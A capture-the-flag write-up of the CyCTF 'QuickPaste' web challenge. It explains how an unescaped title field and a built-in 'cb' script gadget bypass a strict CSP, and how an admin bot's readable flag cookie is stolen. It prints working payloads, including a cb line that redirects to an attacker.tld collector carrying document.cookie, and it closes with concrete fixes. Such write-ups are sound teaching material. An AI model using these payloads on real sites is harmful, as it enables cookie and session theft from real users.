WRITEUP

CyCTF Luxor Final: QuickPaste - Title Injection -> CSP Gadget Abuse -> Admin Bot Cookie Exfil

The title field is reflected as raw HTML, a weird built-in callback gadget turns malformed markup into JavaScript, and the admin bot hands over the flag through a readable same-origin cookie.

platform: CTFdiff: harddate: 2026-03-28
CONTENTS

Attack Chain

raw title HTML injection -> reshape DOM into gadget-friendly state -> abuse built-in cb script gadget under CSP -> admin bot visits crafted same-origin paste -> JS reads readable flag cookie -> redirect to attacker-controlled collector


Prerequisites, What you need to understand before reading

If you don't understand these, the payload looks cursed and random.

  • Concept 1: Reflected HTML injection is not automatically XSS. If CSP is strict, normal <script> or onerror= tricks die immediately.
  • Concept 2: Sometimes the page already contains its own JavaScript execution primitive. If you find one, your job is not to inject JS directly. Your job is to feed that primitive.
  • Concept 3: Admin bots are dangerous when they browse attacker-controlled same-origin pages while holding secrets in readable cookies.
  • Tooling: just a browser console, a public request catcher, and patience while reading ugly template code.

Intro: What this challenge teaches

  • Goal: turn a boring reflected HTML injection into real script execution under CSP.
  • Main idea: I did not win with a normal onerror=alert(1) payload.
  • Real lesson: if the app gives you a weird internal script gadget, stop forcing classic XSS and start understanding the gadget.

This challenge is nice firstly because the AI was forbidden secondly because the bug is not hidden in ten frameworks or layers of infra. It is sitting there in plain sight. But the exploit only becomes obvious once you stop thinking "where can I put <script>?" and start thinking "what exact JavaScript path is already present in the page?"


Code Analysis

High-level architecture

  • Frontend and backend are the same small Express app
  • There is a /paste page that reflects user input
  • There is a /report endpoint that forwards a URL to an admin bot
  • The bot is Puppeteer
  • The flag is stored as a cookie before the bot opens the reported page

The first bug: only body is escaped

web/server.js
JS
app.get("/paste", (req, res) => {
  const n = nonce();
  const title = req.query.title || "";
  const body = escapeHtml(req.query.body || "No content provided.");
  res.setHeader("Content-Type", "text/html");
  res.send(pastePage(n, title, body));
});

This is the whole challenge in one screenshot.

Fatal assumption:

  • body is escaped
  • title is not

So if you place HTML in body, it becomes text.
If you place HTML in title, it becomes real markup.

The rendering sink is here:

web/views/paste.js
JS
<div id="paste-box">
  <h2 class="paste-title">${title}</h2>
  <div class="terminal">
    <pre id="paste-content">${body}</pre>
  </div>
</div>

That means the author's hint was pushing in the right direction:

  • the interesting input is title
  • the boring input is body

Why normal XSS was the wrong path?

At first glance you might try:

HTML
<img src=0 onerror=alert(1)>

or

HTML
<svg onload=alert(1)>

inside title.

That proves HTML injection, but it does not solve the challenge, because the page has CSP:

web/views/paste.js
JS
<meta http-equiv="Content-Security-Policy"
  content="default-src 'none'; script-src 'strict-dynamic' 'nonce-${n}'; style-src 'nonce-${n}'; img-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self';">

This is the key reason beginner payloads fail:

  • inline event handlers are blocked
  • raw <script> tags are blocked
  • cross-origin fetch() is blocked by connect-src 'self'

So yes, title is injectable.
No, that alone is not enough.

The real sink: a built-in script gadget

This is the part that makes the challenge interesting:

web/views/paste.js
JS
<script nonce="${n}">
  window.addEventListener("DOMContentLoaded", function() {
    var p = new URL(location.href).searchParams;
    var c = p.get("cb");
    if (!c) return;
    var d = "}>-~" + c;
    var w = document.getElementById("content");
    var el = w.lastElementChild;
    if (el && el.id === "quickpaste" && w.querySelector('.info[data-v="${n}"]')) {
      var n = el.lastElementChild;
      var raw = n.innerHTML.trim();
      d = raw + d;
    }
    var s = document.createElement("script");
    s.appendChild(document.createTextNode(d));
    document.body.appendChild(s);
  });
</script>

This is everything.

The page literally:

  1. reads cb from the URL
  2. builds JavaScript text from it
  3. maybe prepends attacker-influenced HTML-derived text
  4. appends a new <script> element
  5. executes it from a nonce-trusted script context

So I stopped trying to bypass CSP manually.
The page already gives me the bypass.

The bot-side secret exposure

bot/bot.js
JS
await page.setCookie({
  name: "flag",
  value: FLAG,
  domain: ALLOWED_DOMAIN,
  path: "/",
  httpOnly: false,
  secure: false,
  sameSite: "Lax",
});

This is the second half of the chain.

Fatal assumption:

  • the flag is stored in a cookie
  • that cookie is not HttpOnly

So once JavaScript runs on the same origin, document.cookie is game over.

The report restriction that matters on live

web/server.js
JS
const ALLOWED_HOSTNAMES = new Set(["web", new URL(APP_URL).hostname]);
 
app.post("/report", async (req, res) => {
  const { url } = req.body;
  const parsed = new URL(url);
  if (!ALLOWED_HOSTNAMES.has(parsed.hostname)) {
    return res.status(400).send("URL must be on this domain.");
  }

And the bot enforces its own copy too:

bot/bot.js
JS
if (parsed.hostname !== ALLOWED_DOMAIN) {
  return res.status(400).json({ error: "URL must be on the challenge domain" });
}

This is why the final working live payload had to use:

TEXT
http://web:3000/paste?...

not the public chals.io hostname.

That detail matters a lot. It cost me time.


Why this works

Step 1: title is raw HTML

Because title is inserted directly into <h2>, I can break out of the element and inject new DOM nodes.

A simple sanity check is enough:

TEXT
/paste?title=</h2><h1>HELLO</h1>&body=test

If the page layout changes, that confirms reflected HTML injection.

Step 2: I do not need inline JS

The page already contains a JavaScript execution gadget using the cb parameter. So the real task is to shape the DOM so that gadget builds valid JavaScript for me.

Step 3: The gadget wants a very specific DOM state

The condition is:

JS
if (el && el.id === "quickpaste" && w.querySelector('.info[data-v="${n}"]'))

So for the special branch to happen:

  • #content's last element child must be an element with id="quickpaste"
  • the page must still contain the original .info[data-v=...]

That means random broken HTML is not enough.
I need malformed markup that:

  • moves the DOM around
  • preserves the info box somewhere
  • leaves #quickpaste as the last child

Step 4: The HTML-derived prefix must become a JS comment

The gadget does this:

JS
var raw = n.innerHTML.trim();
d = raw + d;

So if I can make raw start with:

JS
/*

then all the garbage after it becomes a JavaScript comment.

Then I start cb with:

JS
*/

to close the comment and run my real code.

That is the whole trick.

Step 5: Malformed SVG/foreignObject gives the right parse shape

My working DOM-shaping payload was:

HTML
</h2></div><svg id="quickpaste"><foreignObject>/*

This payload is ugly, but it does exactly what I need:

  • breaks out of the normal title container
  • creates id="quickpaste"
  • makes the gadget pull attacker-influenced content that begins with /*

So the final executed JavaScript becomes conceptually:

JS
/* attacker-controlled broken html and page junk */ real_payload_here //

And now my cb runs.

Step 6: Admin bot makes it meaningful

The bot visits my crafted page with the flag cookie already set. Because the cookie is same-origin and readable, my JavaScript can read document.cookie and leak it out.


Exploit Strategie I used

Why I chose this chain?

  • Normal HTML injection was obvious, but CSP killed the easy path
  • The cb gadget was too suspicious to ignore
  • The bot secret was stored in a non-HttpOnly cookie
  • The report flow clearly wanted attacker-controlled same-origin pages to be opened by the admin bot

So I did not hunt for:

  • template injection
  • DOMPurify bypass
  • prototype pollution
  • SSRF
  • open redirect

The intended chain was already sitting in the source:

  • raw title
  • strange cb
  • bot with readable cookie

Critical implementation detail that cost me time

The final report URL on the live challenge had to use:

TEXT
http://web:3000/paste?...

not:

TEXT
https://cyctf-luxor-60bb6fdb75e0-quickpaste-0-0.chals.io/paste?...

Why?
Because the bot checks hostname === web internally.

That one detail explains why a payload can look perfect and still fail during /report.


My working payload

First, the harmless proof-of-execution payload

This is the version I used to prove I had real JS execution before going for the flag:

JS
const ORIGIN = 'http://web:3000';
const title = '</h2></div><svg id="quickpaste"><foreignObject>/*';
const cb = '*/alert(document.domain)//';
const url = `${ORIGIN}/paste?title=${encodeURIComponent(title)}&body=x&cb=${encodeURIComponent(cb)}`;
console.log(url);

Why this matters:

  • if this does not alert, you do not have the exploit yet
  • if this alerts, the hard part is already solved

Then the real exfiltration idea

For the real solve, the cb payload redirected the browser to my request catcher with:

JS
document.cookie

in the query string.

The important design choice was:

  • use location=...
  • do not use fetch()

Because the CSP includes:

TEXT
connect-src 'self'

So cross-origin fetch() is blocked.
But full-page navigation is still allowed.

Payload structure

The final reported URL had this shape:

TEXT
http://web:3000/paste?title=<encoded malformed title>&body=x&cb=<encoded JS payload>

Where:

  • title created the gadget-friendly DOM
  • cb closed the comment and redirected to my collector

In simplified form:

JS
title = '</h2></div><svg id="quickpaste"><foreignObject>/*'
cb = "*/location='https://attacker.tld/?c='+encodeURIComponent(document.cookie)//"

Solve Analysis, What happened on the server?

  • I submitted a crafted same-origin /paste?... URL through /report
  • The backend accepted it because the hostname was web
  • The admin bot accepted it for the same reason
  • The bot set the flag cookie for the challenge origin
  • The bot opened my crafted paste page
  • My malformed title reshaped the DOM
  • The nonce script read cb, built a new <script>, and executed it
  • My JavaScript read document.cookie
  • The browser navigated to my request catcher
  • The cookie arrived as:
TEXT
flag=CyCTF{...}

Why normal cross site scripting was the wrong path?

This is worth repeating because it is the real educational value of the challenge.

I could have wasted hours trying:

  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <script>alert(1)</script>
  • attribute breaking
  • quote breaking

All of those miss the point.

The page already had a trusted script block that:

  • reads user input
  • transforms it
  • creates a <script>
  • executes it

So the real challenge was not "find a sink."
The real challenge was "understand the sink you were already given."

That is why this lab feels weird at first.
It is not classic reflected XSS.
It is more like:

  • reflected HTML injection
  • plus DOM state manipulation
  • plus CSP gadget abuse
  • plus admin bot secret exposure

Real-World Fix. How to prevent this Defensive rules?

  • Escape all user-controlled HTML contexts, not just the "big obvious" ones like the body
  • Do not build scripts from URL parameters
  • Do not append attacker-influenced text into dynamically created <script> tags
  • If a bot carries secrets, store them in HttpOnly cookies at minimum
  • Better yet, do not let review bots browse attacker-controlled same-origin pages with privileged state
  • Avoid internal-only host assumptions like web if the public app exposes the same workflow differently

Minimal correct fix

Escape title exactly like body:

JS
const title = escapeHtml(req.query.title || "");
const body = escapeHtml(req.query.body || "No content provided.");

And delete the gadget completely:

JS
// remove the cb-based dynamic script creation entirely

And if the bot must keep a flag-like secret in the browser, at minimum:

JS
httpOnly: true

Closing

This challenge was not:

  • "put <script> in the title"
  • "find a missing quote"
  • "spray onerror= until alert fires"

It was:

  • raw HTML injection exists in title
  • CSP kills the beginner payloads
  • the page contains its own script gadget
  • malformed SVG/foreignObject turns garbage into a JS comment
  • the admin bot carries the flag in a readable cookie
  • same-origin JavaScript turns that into a full win

This is the kind of web challenge I like:
small codebase, tiny bug surface, but the exploit only clicks when you actually read the code instead of brute-forcing payloads.